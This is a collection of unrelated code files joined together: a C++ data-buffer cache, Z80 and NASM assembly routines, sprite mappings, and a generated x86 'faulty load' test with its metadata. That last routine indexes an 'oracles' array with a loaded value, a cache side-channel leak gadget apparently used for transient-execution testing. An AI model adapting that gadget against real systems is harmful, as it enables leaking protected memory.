58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
//
// CDATA.CPP
// Menace Software 9/1/97
//
// Store an object of binary data.
// In which we may view, insert, delete or change data in memory or file
// This may be sound or other file data.
//
#ifdef GRAY_MAP
#include "graycom.h"
#else
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include "common.h"
#include "cstring.h"
#endif
#include <windowsx.h>
#include "cdata.h"
DWORD CData_dwCacheSize = 0x200000L; // 8M How long before we discard buffers.
//***************************************************************************
// CDataBuffer
//
CDataBuffer::CDataBuffer( DWORD dwDataLength, LONG lFileOffset )
{
// constructor.
m_lFileOffset = lFileOffset;
m_dwDataLength = dwDataLength;
m_pData = NULL; // not yet allocated. (allocate on demand)
m_lUsage = 0; // Not used.
}
void CDataBuffer::Free( void )
{
if ( m_pData != NULL )
{
assert( m_lUsage < 0 );
GlobalFreePtr( m_pData );
m_pData = NULL;
m_lUsage = 0;
GetObj()->m_dwDataLoaded -= m_dwDataLength;
}
else
{
assert( m_lUsage == 0 );
}
}
void CDataBuffer::Discard( void )
{
// Don't need this data in memory. Discard it.
if ( m_lUsage > 0 || m_lFileOffset == CDATA_FILE_NOTSAVED )
{
// DEBUG_ERR(( "Buffer:Discard usage = %d BAD\n", m_lUsage ));
return;
}
Free();
}
P_DATA CDataBuffer::Lock( BOOL bFill )
{
// PURPOSE:
// read the data into memory if not already here.
// ARGS:
// bFill = do I care what data is here ? (I may just be about to overwrite it anyhow)
//
if ( this == NULL )
{
DEBUG_ERR(( "Buf:Lock NULL\n" ));
return( NULL );
}
if ( m_pData == NULL && m_dwDataLength )
{
assert( m_lUsage == 0 );
m_pData = (P_DATA) GlobalAllocPtr( GHND, m_dwDataLength );
if ( m_pData == NULL )
{
DEBUG_ERR(( "Buffer:Lock GlobalAllocPtr( %ld ) FAIL\n", m_dwDataLength ));
return( NULL );
}
//
// Now read it in if it exists as part of the file.
//
if ( bFill )
{
if ( m_lFileOffset != CDATA_FILE_NOTSAVED )
{
if ( ! GetObj()->m_pFile->Seek( m_lFileOffset ))
{
DEBUG_ERR(( "Buffer:Lock Seek( %ld ) FAIL\n", m_lFileOffset ));
return( NULL );
}
if ( GetObj()->m_pFile->Read( m_pData, m_dwDataLength ) <= 0 )
{
DEBUG_ERR(( "Buffer:Lock Read( %ld ) FAIL\n", m_dwDataLength ));
return( NULL );
}
}
else
{
//
// This is just undefined memory space ? Zero it ?
//
}
}
GetObj()->m_dwDataLoaded += m_dwDataLength;
}
else if ( m_lUsage < 0 )
{
m_lUsage = 0;
}
m_lUsage ++;
return( m_pData );
}
void CDataBuffer::Unlock( void )
{
//
// Mark the data as unused.
// Discard the data if nobody is using it ?
//
if ( m_lUsage <= 0 )
{
DEBUG_ERR(( "Buffer:Unlock count %d BAD\n", m_lUsage ));
return;
}
if ( m_lUsage > 32 )
{
DEBUG_ERR(( "Buffer:Warning HIGH count %d\n", m_lUsage ));
}
if ( --m_lUsage == 0 )
{
if ( m_pData != NULL )
{
// Set the LRU Mark
m_lUsage = GetObj()->m_lCacheUsage;
}
}
}
BOOL CDataBuffer::Write( LONG lFileOffset )
{
// write from memory if changed
if ( lFileOffset == m_lFileOffset ) return( TRUE ); // No need to write already here !
//
// Lock the data if not already loaded.
// This could be a move from high file offset to low file offset ?
//
if ( ! Lock()) return( FALSE );
if ( ! GetObj()->m_pFile->Seek( lFileOffset ))
{
bailout:
DEBUG_ERR(( "Buffer:Write Seek( %ld ) FAIL\n", lFileOffset ));
Unlock(); // Done with the data.
return( FALSE );
}
#if 0 // _WIN32 ?
TRY
{
GetObj()->m_pFile->Write( m_pData, m_dwDataLength );
}
CATCH ( CFileException, theException )
{
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,NULL,
theException->m_cause, MAKELANGID(LANG_ENGLISH,SUBLANG_ENGLISH_US),(LPTSTR)&pMessageBuffer,0,NULL);
DEBUG_ERR(( "Buffer:Lock Write( %ld ) FAIL\n", m_dwDataLength ));
return( FALSE );
}
END_CATCH
#else
if ( ! GetObj()->m_pFile->Write( m_pData, m_dwDataLength ))
goto bailout;
#endif
Unlock(); // Done with the data.
m_lFileOffset = lFileOffset; // commited to file.
return( TRUE );
}
BOOL CDataBuffer::ReSize( DWORD dwLength )
{
// PURPOSE:
// Resize the existing buffer to this size.
// Create a new buffer after this for the rest of the data.
// NOTE:
// Buffers should never be made bigger only smaller !!!
// This does not invalidate the object.
// This is best if the data is swapped out !
// RETURN:
// TRUE = OK.
if ( dwLength >= m_dwDataLength )
{
if ( dwLength == m_dwDataLength ) // This means no change.
return( TRUE );
DEBUG_ERR(( "Buffer:ReSize new %ld > old %ld\n", dwLength, m_dwDataLength ));
return( FALSE );
}
if ( m_lUsage > 0 )
{
DEBUG_ERR(( "Buffer:ReSize usage=%d\n", m_lUsage ));
}
if ( m_pData != NULL )
{
// The data is in memory. Too bad now we have to move it.
m_pData = (P_DATA) GlobalReAllocPtr( m_pData, dwLength, GHND );
if ( m_pData == NULL )
{
DEBUG_ERR(( "Buffer:ReSize GlobalReallocPtr( %ld, %ld ) FAIL\n", dwLength, m_dwDataLength ));
return( FALSE );
}
}
m_dwDataLength = dwLength;
return( TRUE );
}
//***************************************************************************
// CDataObject
void CDataObject::Init( BOOL fFull )
{
m_dwDataLength = 0;
m_dwDataLoaded = 0;
if ( fFull )
{
m_dwDataAlign = 0x4000; // default size = 16K
m_pFile = NULL;
m_lFileOffset = CDATA_FILE_NOTSAVED;
m_dwFileLength = 0;
}
m_lCacheUsage = -1;
m_lCacheMinUsage = -1;
InitCurBuffer();
}
CDataObject::CDataObject( void )
{
//
// PURPOSE:
// Create a new data object with no file !
//
Init( TRUE );
}
void CDataObject::Empty( void )
{
// assume we asked the user to save any changes !
//
// Destroy the list of objects.
//
CGObList::DeleteAll();
//
// Unlink ourselves from the file.
//
Init( FALSE ); // clear values.
}
BOOL CDataObject::SetupFile( CGFile * pFile, LONG lFileOffset, DWORD dwFileLength )
{
//
// Associate the data object with a (open) file.
//
if ( m_pFile != NULL )
{
DeleteAll();
}
m_pFile = pFile;
m_lFileOffset = lFileOffset;
m_dwFileLength = dwFileLength;
//
// Init the list of buffers. Use the default chunk size.
//
return( CreateBuffers( dwFileLength, lFileOffset ));
}
CDataObject::CDataObject( CGFile * pFile, LONG lFileOffset, DWORD dwFileLength )
{
//
// PURPOSE:
// Create the data object.
//
Init( TRUE ); // clear values.
SetupFile( pFile, lFileOffset, dwFileLength );
}
BOOL CDataObject::CreateBuffer( DWORD dwDataLength, LONG lFileOffset )
{
// Insert data space into the object.
// It may or may not be initialized.
// NOTE:
// Move m_pCurBuffer to pBufferNew.
CDataBuffer * pBufferNew = new CDataBuffer( dwDataLength, lFileOffset );
if ( pBufferNew == NULL )
{
DEBUG_ERR(( "CreateBuffer FAIL\n" ));
return( FALSE );
}
//
// Link pBufferNew buffer AFTER m_pCurBuffer.
// Move m_pCurBuffer to pBufferNew.
//
InsertAfter( pBufferNew, m_pCurBuffer );
//
// Advance m_pCurBuffer to pBufferNew.
//
if ( m_pCurBuffer == NULL ) // Its the first.
{
m_dwCurOffset = 0;
}
else
{
m_dwCurOffset += m_pCurBuffer->GetLength();
}
m_pCurBuffer = pBufferNew;
//
// Track total memory object length.
//
m_dwDataLength += dwDataLength;
return( TRUE );
}
void CDataObject::DeleteBuffer( void )
{
//
// Remove m_pCurBuffer from the list.
// Move m_pCurBuffer to the next. m_dwCurOffset stays the same.
//
assert( m_pCurBuffer != NULL );
CDataBuffer * pBufferNext = (CDataBuffer *) m_pCurBuffer->GetNext();
m_pCurBuffer->RemoveSelf();
//
// Track memory object length.
//
m_dwDataLength -= m_pCurBuffer->GetLength();
//
// Destroy it.
//
delete m_pCurBuffer;
//
// Move m_pCurBuffer to the next buffer.
//
m_pCurBuffer = pBufferNext;
}
void CDataObject::InitCurBuffer( void )
{
//
// Set m_pCurBuffer to the First buffer.
//
m_pCurBuffer = (CDataBuffer *) GetHead();
m_dwCurOffset = 0;
}
BOOL CDataObject::AdvanceCurBuffer( void )
{
//
// Move m_pCurBuffer to the m_pNext.
// RETURN:
// TRUE = Can advance.
assert( m_pCurBuffer != NULL );
CDataBuffer * pNext = (CDataBuffer*) m_pCurBuffer->GetNext();
if ( pNext == NULL ) return( FALSE );
DWORD dwDataLength = m_pCurBuffer->GetLength();
if ( ! dwDataLength )
{
// Is this neccessary ? Record may finish with unused blocks ?
DeleteBuffer(); // house cleaning.
}
else
{
m_dwCurOffset += dwDataLength;
m_pCurBuffer = pNext;
}
return( TRUE );
}
void CDataObject::PreviousCurBuffer( void )
{
assert( m_pCurBuffer != NULL );
m_pCurBuffer = (CDataBuffer*) m_pCurBuffer->GetPrev();
if ( m_pCurBuffer == NULL ) return; // This should not happen !?
m_dwCurOffset -= m_pCurBuffer->GetLength();
}
BOOL CDataObject::SplitBuffer( DWORD dwNewSize )
{
//
// Split the m_pCurBuffer into two buffers.
// Leave m_pCurBuffer the same.
// This does not change the size of the object just the distribution of the buffers.
//
assert( m_pCurBuffer != NULL );
if ( ! dwNewSize )
return( TRUE ); // not a split but thats ok.
if ( dwNewSize >= m_pCurBuffer->GetLength()) // Nothing to do.
return( TRUE );
//
// Create a new buffer after this.
//
LONG lFileOffset = m_pCurBuffer->m_lFileOffset;
if ( lFileOffset != CDATA_FILE_NOTSAVED )
{
lFileOffset += dwNewSize;
}
DWORD dwSizeNext = m_pCurBuffer->GetLength() - dwNewSize;
if ( ! CreateBuffer( dwSizeNext, lFileOffset ))
return( FALSE );
CDataBuffer * pBuffer = m_pCurBuffer; // The new buffer created.
PreviousCurBuffer(); // back to the first buffer.
//
// Move the data if it is in memory. (read from disk or created new).
//
P_DATA pCurData = m_pCurBuffer->GetData();
if ( pCurData != NULL ) // Is loaded ?
{
#ifdef _DEBUG
if ( dwSizeNext != pBuffer->GetLength())
{
DEBUG_ERR(( "SplitBuffer BAD SIZE %ld!=%ld\n", dwSizeNext, pBuffer->GetLength()));
return( FALSE );
}
#endif
P_DATA pData = pBuffer->Lock( FALSE );
if ( pData != NULL )
{
hmemcpy( pData, pCurData+dwNewSize, dwSizeNext );
pBuffer->Unlock();
}
}
//
// Resize the first buffer down to its new size.
//
return( m_pCurBuffer->ReSize( dwNewSize ));
}
BOOL CDataObject::SplitBufferNext( DWORD dwNewSize )
{
if ( dwNewSize )
{
//
// Must Split the current buffer.
// What we want is after it.
//
if ( ! SplitBuffer( dwNewSize ))
return( FALSE );
AdvanceCurBuffer();
}
return( TRUE );
}
BOOL CDataObject::CreateBuffers( DWORD dwLength, LONG lFileOffset )
{
//
// PURPOSE:
// Add buffers to increase the size of the object.
// Add after m_pCurBuffer.
// Move m_pCurBuffer to the last buffer added.
//
DWORD dwBufferLength = m_dwDataAlign;
for ( ; dwLength; dwLength -= dwBufferLength )
{
if ( dwBufferLength > dwLength ) dwBufferLength = dwLength;
if ( ! CreateBuffer( dwBufferLength, lFileOffset ))
return( FALSE );
if ( lFileOffset != CDATA_FILE_NOTSAVED )
{
lFileOffset += dwBufferLength;
}
}
return( TRUE );
}
BOOL CDataObject::DeleteBuffers( DWORD dwLength )
{
//
// Delete the m_pCurBuffer and all others till dwLength is reached.
// Move m_pCurBuffer to the next. m_dwCurOffset stays the same.
//
while ( dwLength )
{
if ( m_pCurBuffer == NULL )
{
DEBUG_ERR(( "Obj:DeleteBuffers beyond end of range !\n" ));
return( FALSE );
}
//
// Split the last buffer in the chain.
//
if ( ! SplitBuffer( dwLength ))
return( FALSE );
//
// Remove the buffer and move to next.
//
dwLength -= m_pCurBuffer->GetLength();
DeleteBuffer();
}
return( TRUE );
}
DWORD CDataObject::FindCurBufferOffset( DWORD dwOffset )
{
//
// PURPOSE:
// Find a byte offset into the data object.
// Set m_pCurBuffer to the buffer.
// RETURN:
// a sub offset (size) into the m_pCurBuffer.
// NOTE:
// if past the end then return the last buffer pointer, offset >= last len.
//
if ( m_pCurBuffer == NULL || dwOffset == 0 )
{
InitCurBuffer();
// if at the start the return first buffer, offset 0.
if ( m_pCurBuffer == NULL )
return( 0 );
}
if ( dwOffset > m_dwCurOffset ) // seek foreward
{
while ( dwOffset >= m_dwCurOffset + m_pCurBuffer->GetLength())
{
if ( ! AdvanceCurBuffer())
break;
}
}
else
{
while ( dwOffset < m_dwCurOffset ) // seek backwards.
{
PreviousCurBuffer();
}
}
return( dwOffset - m_dwCurOffset ); // offset into the current buffer.
}
P_DATA CDataObject::Lock( DWORD dwOffset, DWORD * pdwLengthAvail )
{
//
// PURPOSE:
// get a data pointer at offset.
// ARGS:
// pdwLengthAvail = return how much contiguous data is here
// NOTE:
// This MUST be complimented by Unlock().
//
if ( dwOffset >= m_dwDataLength )
return( NULL );
dwOffset = FindCurBufferOffset( dwOffset );
P_DATA pData = m_pCurBuffer->Lock();
if ( pData == NULL )
return( NULL );
* pdwLengthAvail = m_pCurBuffer->GetLength() - dwOffset;
return( pData + dwOffset );
}
void CDataObject::Change( DWORD dwOffset, DWORD dwLengthChange )
{
// Mark all this as having changed.
}
void CDataObject::Unlock( DWORD dwOffset, DWORD dwLengthChange )
{
//
// PURPOSE:
// Modified the Lock() data. (invalidate file)
// ARGS:
// dwOffset = Arg passed to Lock() before
// dwLengthChange = 0 = not changed.
// NOTE:
// This must be called for a previous call to Lock().
// The LengthChange MUST be <= pdwLengthAvail that was returned by Lock() !!!
//
dwOffset = FindCurBufferOffset( dwOffset );
LONG lFileOffset = m_pCurBuffer->m_lFileOffset; // Save old file offset.
if ( dwLengthChange && lFileOffset != CDATA_FILE_NOTSAVED )
{
//
// Part of the changed buffer still valid for the file
// Split out just the changed part from the buffer.
//
#ifdef _DEBUG
if ( dwLengthChange + dwOffset > m_pCurBuffer->GetLength())
{
DEBUG_ERR(( "DataObj:Unlock Changed %ld,%ld\n", dwOffset, dwLengthChange ));
}
#endif
m_pCurBuffer->Unlock();
if ( ! SplitBufferNext( dwOffset ))
return;
m_pCurBuffer->Changed();
}
else
{
m_pCurBuffer->Unlock();
}
}
#if 0
BOOL CDataObject::ReplaceTake( DWORD dwOffset, DWORD dwLength, P_DATA pData )
{
//
// Put this buffer externally allocated into the object buffers.
//
}
#endif
BOOL CDataObject::ReplaceCopy( DWORD dwOffset, DWORD dwLength, P_DATA pData, DWORD dwDataLength )
{
//
// PURPOSE:
// Replace an existing part of the object with a new piece of data
// This could be an insert, delete or change.
// ARGS:
// dwLength = the old length to replace.
// pData = The new data to replace with.
// dwDataLength = replace with this new length.
//
if ( ! dwLength && ! dwDataLength ) return( TRUE ); // Nothing to do.
//
// Start a new buffer at this offset.
//
dwOffset = FindCurBufferOffset( dwOffset );
if ( dwOffset < m_pCurBuffer->GetLength()) // Not past end.
{
if ( ! SplitBufferNext( dwOffset ))
return( FALSE );
//
// Delete current buffers.
//
if ( ! DeleteBuffers( dwLength )) return( FALSE );
if ( m_pCurBuffer == NULL ) // deleted to end !
{
FindCurBufferOffset( m_dwDataLength );
}
else
{
PreviousCurBuffer(); // New space is before the current.
}
}
//
// Insert new space after the current.
//
if ( dwDataLength )
{
CDataBuffer * pBuffer = m_pCurBuffer; // add after this.
if ( ! CreateBuffers( dwDataLength, CDATA_FILE_NOTSAVED ))
return( FALSE );
//
// Copy new data into space.
//
if ( pData != NULL )
{
pBuffer = (CDataBuffer *)( ( pBuffer == NULL ) ? GetHead() :
pBuffer->GetNext()); // First buffer we just created.
while ( dwDataLength )
{
DWORD dwLengthCopy = pBuffer->GetLength();
if ( dwLengthCopy > dwDataLength ) dwLengthCopy = dwDataLength;
hmemcpy( pBuffer->GetData(), pData, dwLengthCopy );
pData += dwLengthCopy;
dwDataLength -= dwLengthCopy;
pBuffer = (CDataBuffer *) pBuffer->GetNext(); // Next buffer we just created.
}
}
}
return( TRUE );
}
BOOL CDataObject::WriteEndData( void )
{
//
// PURPOSE:
// Move the end data from one spot in the file to another.
//
return( TRUE );
}
BOOL CDataObject::Write( void )
{
//
// PURPOSE:
// Commit all changes back to the file.
// RETURN:
// TRUE = we are happy.
//
if ( m_pFile == NULL ) return( FALSE ); // There is no file !!!
//
// Re-open the file in write mode ???
//
DWORD dwLength = m_pFile->SeekToEnd();
DWORD dwEndSize = dwLength - ((DWORD) m_lFileOffset ) - m_dwFileLength;
//
// If the old file is smaller size we must move the end data first.
//
if ( dwEndSize && ( m_dwFileLength < m_dwDataLength ))
{
WriteEndData();
}
InitCurBuffer(); // Start at the beginning.
//
// Loop through the data and write it out.
// Make sure we don't overwrite the data not yet read !
//
LONG lFileOffset = m_lFileOffset; // The write offset.
CDataBuffer * pBufferRead = ( CDataBuffer *) GetHead();
while ( m_pCurBuffer != NULL ) // iterate the list.
{
LONG lFileOffsetNext = lFileOffset + m_pCurBuffer->GetLength();
if ( lFileOffset != m_pCurBuffer->m_lFileOffset ) // buffer is ok here ?
{
//
// Make sure the reads are ahead of this write
//
while ( 1 )
{
if ( pBufferRead->m_lFileOffset >= lFileOffsetNext ) break; // no need to get yet.
pBufferRead->Lock(); // make sure it is in memory.
pBufferRead = (CDataBuffer *) pBufferRead->GetNext();
}
//
// Write it to its new offset.
//
if ( ! m_pCurBuffer->Write( lFileOffset ))
{
//
// Kill the read aheads???
//
while ( m_pCurBuffer != pBufferRead )
{
m_pCurBuffer->Unlock(); // done with it.
AdvanceCurBuffer();
}
return( FALSE );
}
}
else
{
// if ( pBuffer )
}
//
// Next.
//
lFileOffset = lFileOffsetNext;
m_pCurBuffer->Unlock(); // done with it.
AdvanceCurBuffer();
}
//
// If the file is larger than the data we must move the end data down.
//
if ( dwEndSize && ( m_dwFileLength > m_dwDataLength ))
{
WriteEndData();
}
//
// Changes have been committed.
//
if ( m_dwFileLength != m_dwDataLength )
{
m_dwFileLength = m_dwDataLength;
m_pFile->SeekToEnd(); // m_dwFileSize = ((DWORD) m_lFileOffset ) + m_dwFileLength + dwEndSize;
}
return( TRUE );
}
void CDataObject::TouchCache( void )
{
// for each "frame" or usage we should age the cache.
--m_lCacheUsage;
// Are we nearing trouble time ?
if ( m_dwDataLoaded < CData_dwCacheSize ) return; // OK
DEBUG_ERR(( "Garbage collection time %lxh,%lxh - %ld, %ld\n",
m_dwDataLoaded, CData_dwCacheSize, m_lCacheUsage, m_lCacheMinUsage ));
goto startme;
while ( m_dwDataLoaded > CData_dwCacheSize )
{
if ( m_pCurBuffer->GetUsage() > m_lCacheMinUsage )
m_pCurBuffer->Discard();
if ( m_pCurBuffer->GetNext() == NULL ) // next is beyond the end.
{
startme:
long lCacheNew = m_lCacheMinUsage - (1+4); // random number ?
if ( lCacheNew <= m_lCacheUsage+4 ) break;
InitCurBuffer();
m_lCacheMinUsage = lCacheNew;
continue;
}
AdvanceCurBuffer();
}
}
|
;
; ZX IF1 & Microdrive functions
;
; char* if1_getname(char *location);
;
; Picks a file name from the specified location
;
; $Id: if1_getname.asm,v 1.2 2004/10/08 13:59:32 stefano Exp $
;
XLIB if1_getname
tempmdvname: defs 11
if1_getname:
pop bc ; ret addr
pop hl ; location
push hl
push bc
ld de,tempmdvname
push de
ld bc,10
ldir
push de
pop hl
previous: dec hl
ld a,(hl)
cp ' '
jr z,previous
inc hl
ld (hl),0
pop hl ; pointer to temp name
ret
|
; ---------------------------------------------------------------------------
; Sprite mappings - animals
; ---------------------------------------------------------------------------
dc.w byte_94A2-Map_obj28b
dc.w byte_94A8-Map_obj28b
dc.w byte_949C-Map_obj28b
byte_949C: dc.b 1
dc.b $F4, 6, 0, 0, $F8
byte_94A2: dc.b 1
dc.b $FC, 9, 0, 6, $F4
byte_94A8: dc.b 1
dc.b $FC, 9, 0, $C, $F4
even |
section .data
msg1 : db 'debug here --',10
l1 : equ $-msg1
msg2 : db 'enter the number of elements : '
l2 : equ $-msg2
msg3 : db 'enter the elements',10
l3 : equ $-msg3
msg4 : db 'the sum of elements is : '
l4 : equ $-msg4
msg5 : db 'the average of elements is : '
l5 : equ $-msg5
space:db ' '
newline:db '',10
nwl :db ' ',10
nwl_l : equ $-nwl
section .bss
nod: resb 1
num: resw 1
temp: resb 1
counter: resw 1
num1: resw 1
num2: resw 1
n: resd 10
array: resw 50
matrix: resw 1
count: resb 10
section .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, msg2
mov edx, l2
int 80h
call read_num
mov cx,word[num]
mov word[n],cx
mov eax, 4
mov ebx, 1
mov ecx, msg3
mov edx, l3
int 80h
mov ebx,array
mov eax,0
call read_array
; ; debug----
; mov eax, 4
; mov ebx, 1
; mov ecx, msg1
; mov edx, l1
; int 80h
; ;debug ---
mov ebx,array
mov eax,0
mov dx,0
loop1:
mov cx,word[ebx+2*eax]
add dx,cx
inc eax
cmp eax,dword[n]
jb loop1
mov ax,dx
push rax
push rbx
push rcx
mov eax, 4
mov ebx, 1
mov ecx, msg4
mov edx, l4
int 80h
pop rcx
pop rbx
pop rax
push rax
push rbx
push rcx
mov word[num],ax
call print_num
pop rcx
pop rbx
pop rax
push rax
push rbx
push rcx
mov eax, 4
mov ebx, 1
mov ecx, msg5
mov edx, l5
int 80h
pop rcx
pop rbx
pop rax
mov bx,word[n]
mov dx,0
div bx
mov word[num],ax
call print_num
mov eax,4
mov ebx,1
mov ecx,newline
mov edx,1
int 80h
exit:
mov eax,1
mov ebx,0
int 80h
read_array:
; pusha
read_loop:
cmp eax,dword[n]
je end_read_1
push rax
push rbx
call read_num
pop rbx
pop rax
;;read num stores the input in ’num’
mov cx,word[num]
mov word[ebx+2*eax],cx
inc eax
;;Here, each word consists of two bytes, so the counter should be
; incremented by multiples of two. If the array is declared in bytes do mov word[ebx+eax],cx
jmp read_loop
end_read_1:
; popa
ret
print_array:
; pusha
print_loop:
cmp eax,dword[n]
je end_print1
mov cx,word[ebx+2*eax]
mov word[num],cx
;;The number to be printed is copied to ’num’
; before calling print num function
push rax
push rbx
call print_num
pop rbx
pop rax
inc eax
jmp print_loop
end_print1:
; popa
ret
read_num:
;;push all the used registers into the stack using pusha
;call push_reg
;;store an initial value 0 to variable ’num’
mov word[num], 0
loop_read:
;; read a digit
mov eax, 3
mov ebx, 0
mov ecx, temp
mov edx, 1
int 80h
;;check if the read digit is the end of number, i.e, the enter-key whose ASCII cmp byte[temp], 10
cmp byte[temp], 10
je end_read
mov ax, word[num]
mov bx, 10
mul bx
mov bl, byte[temp]
sub bl, 30h
mov bh, 0
add ax, bx
mov word[num], ax
jmp loop_read
end_read:
;;pop all the used registers from the stack using popa
;call pop_reg
ret
print_num:
mov byte[count],0
;call push_reg
extract_no:
cmp word[num], 0
je print_no
inc byte[count]
mov dx, 0
mov ax, word[num]
mov bx, 10
div bx
push dx ; recursion here
mov word[num], ax
jmp extract_no
print_no:
cmp byte[count], 0
je end_print
dec byte[count]
pop dx
mov byte[temp], dl ; dx is further divided into dh and dl
add byte[temp], 30h
mov eax, 4
mov ebx, 1
mov ecx, temp
mov edx, 1
int 80h
jmp print_no
end_print:
mov eax,4
mov ebx,1
mov ecx,nwl
mov edx,nwl_l
int 80h
;;The memory location ’newline’ should be declared with the ASCII key for new popa
;call pop_reg
ret |
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x11ebc, %rsi
lea addresses_WC_ht+0x383c, %rdi
clflush (%rdi)
nop
nop
add $4746, %rbx
mov $124, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp %r13, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
// Store
lea addresses_UC+0x1c08a, %r8
nop
nop
sub $2261, %r10
movw $0x5152, (%r8)
nop
nop
nop
xor %rsi, %rsi
// Load
lea addresses_WC+0x8c2a, %rax
nop
nop
nop
nop
xor $51633, %r10
movb (%rax), %r9b
nop
sub %r8, %r8
// Store
lea addresses_A+0x17462, %rcx
clflush (%rcx)
nop
nop
nop
nop
xor $28060, %rdi
mov $0x5152535455565758, %r10
movq %r10, %xmm5
vmovups %ymm5, (%rcx)
nop
cmp $56062, %rcx
// Load
lea addresses_WC+0x16abc, %rcx
nop
nop
nop
nop
nop
add $467, %r9
mov (%rcx), %rsi
nop
nop
nop
nop
xor $23212, %r10
// Store
lea addresses_D+0xccbc, %r10
nop
nop
nop
nop
nop
and %r8, %r8
mov $0x5152535455565758, %rsi
movq %rsi, %xmm4
vmovups %ymm4, (%r10)
cmp $56141, %r8
// Store
lea addresses_WT+0x176bc, %rcx
nop
nop
nop
add $31812, %rsi
mov $0x5152535455565758, %r9
movq %r9, %xmm7
movups %xmm7, (%rcx)
nop
nop
nop
nop
add %rsi, %rsi
// Store
lea addresses_WT+0x1197c, %rdi
nop
add %rsi, %rsi
mov $0x5152535455565758, %r9
movq %r9, %xmm3
movaps %xmm3, (%rdi)
nop
nop
nop
nop
nop
add %rcx, %rcx
// Store
lea addresses_A+0x1d0e4, %rdi
nop
nop
xor $58973, %rax
movb $0x51, (%rdi)
cmp $13435, %rsi
// Store
lea addresses_UC+0x1ef68, %r8
clflush (%r8)
nop
nop
nop
cmp %rcx, %rcx
mov $0x5152535455565758, %rsi
movq %rsi, %xmm7
vmovups %ymm7, (%r8)
nop
nop
xor $40619, %r10
// Faulty Load
lea addresses_D+0xccbc, %rax
clflush (%rax)
nop
nop
inc %r9
mov (%rax), %si
lea oracles, %r8
and $0xff, %rsi
shlq $12, %rsi
mov (%r8,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 